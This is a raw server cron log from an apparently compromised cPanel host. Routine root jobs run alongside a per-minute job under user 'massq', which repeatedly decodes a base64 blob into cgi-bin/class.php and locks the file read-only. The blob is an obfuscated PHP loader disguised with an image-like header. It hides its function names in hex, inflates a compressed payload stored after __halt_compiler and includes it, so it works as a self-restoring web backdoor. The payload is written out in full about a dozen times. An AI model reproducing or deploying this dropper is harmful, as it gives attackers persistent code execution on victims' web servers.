Nov  9 22:07:01 server CROND[22309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:08:01 server CROND[23209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:09:01 server CROND[24024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:09:01 server CROND[24026]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 22:10:01 server CROND[24808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:10:01 server CROND[24809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 22:10:01 server CROND[24810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:10:01 server CROND[24811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:11:01 server CROND[25670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:12:01 server CROND[26491]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 22:12:01 server CROND[26492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:13:01 server CROND[27300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:14:01 server CROND[28188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:15:01 server CROND[29004]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:15:01 server CROND[29005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:15:01 server CROND[29006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:15:01 server CROND[29007]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:16:01 server CROND[29905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:17:01 server CROND[30632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:18:01 server CROND[31307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:19:01 server CROND[32239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:20:01 server CROND[600]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 22:20:01 server CROND[605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
